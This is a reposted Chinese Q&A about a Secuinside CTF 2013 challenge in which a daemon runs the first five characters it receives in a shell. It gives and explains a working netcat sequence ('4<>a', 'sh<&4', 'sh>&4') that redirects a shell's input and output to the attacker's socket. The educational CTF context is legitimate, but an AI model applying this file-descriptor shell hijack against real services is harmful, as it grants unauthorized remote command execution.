加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > 安全 > 正文

bash – “黑客”一个5个字符的远程shell的方式

发布时间:2020-12-16 01:31:22 所属栏目:安全 来源:网络整理
导读:这个周末,CTF的战争发生了,Secucinside CTF 2013( http://war.secuinside.com/) 作为一个计算机安全监督机构,我看看了这些挑战,并在CTF结束之后解决了这些问题. 其中一个挑战是在服务器上获取远程shell,因为在该服务器上运行了一个名为“givemeshell”的守护
这个周末,CTF的战争发生了,Secucinside CTF 2013( http://war.secuinside.com/)

作为一个计算机安全监督机构,我看看了这些挑战,并在CTF结束之后解决了这些问题.

其中一个挑战是在服务器上获取远程shell,因为在该服务器上运行了一个名为“givemeshell”的守护程序.守护进程是在一个选定的端口上保持一个套接字打开,就是说端口12345.

当套接字收到某些东西时,守护进程将占用前5个字符并在shell中启动它们.

例如,如果我发送cat文件,守护进程将在shell中启动cat f命令.没有响应发送,所以我不知道命令的结果.

目的是读取包含该标志的文件.

现在有人给了我这个解决方案:

$nc 1.2.3.4 12345
4<>a

$nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_

我测试了这个解决方案,它的工作原理.但是花了几个小时试图理解它,我仍然无法弄清楚它的作用和为什么它的作用.我明白这是关于重定向的东西…

有人可以向我解释吗?谢谢!

4是你的连接的文件描述符.

0是程序stdin,1是程序stdout,2是程序stderr,当你创建一个套接字来监听连接时,它被分配给3,当它接受你的连接时,创建了一个新的4号文件描述符来处理这个连接.

4是您连接到后门的文件描述符的ID,假设您是第一个连接.

然后键入sh<& 4.它打开sh,告诉它应该直接从你的连接输入所有的输入. 现在你已经完全控制了shell,因为sh接管了你发送的每个命令都是由它直接解释的.但是你仍然看不到任何输出! 然后你键入sh>& 4打开一个新的级别的sh在另一个说,它应该把所有输出到你的文件描述符.诀窍完成了!双向通信

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读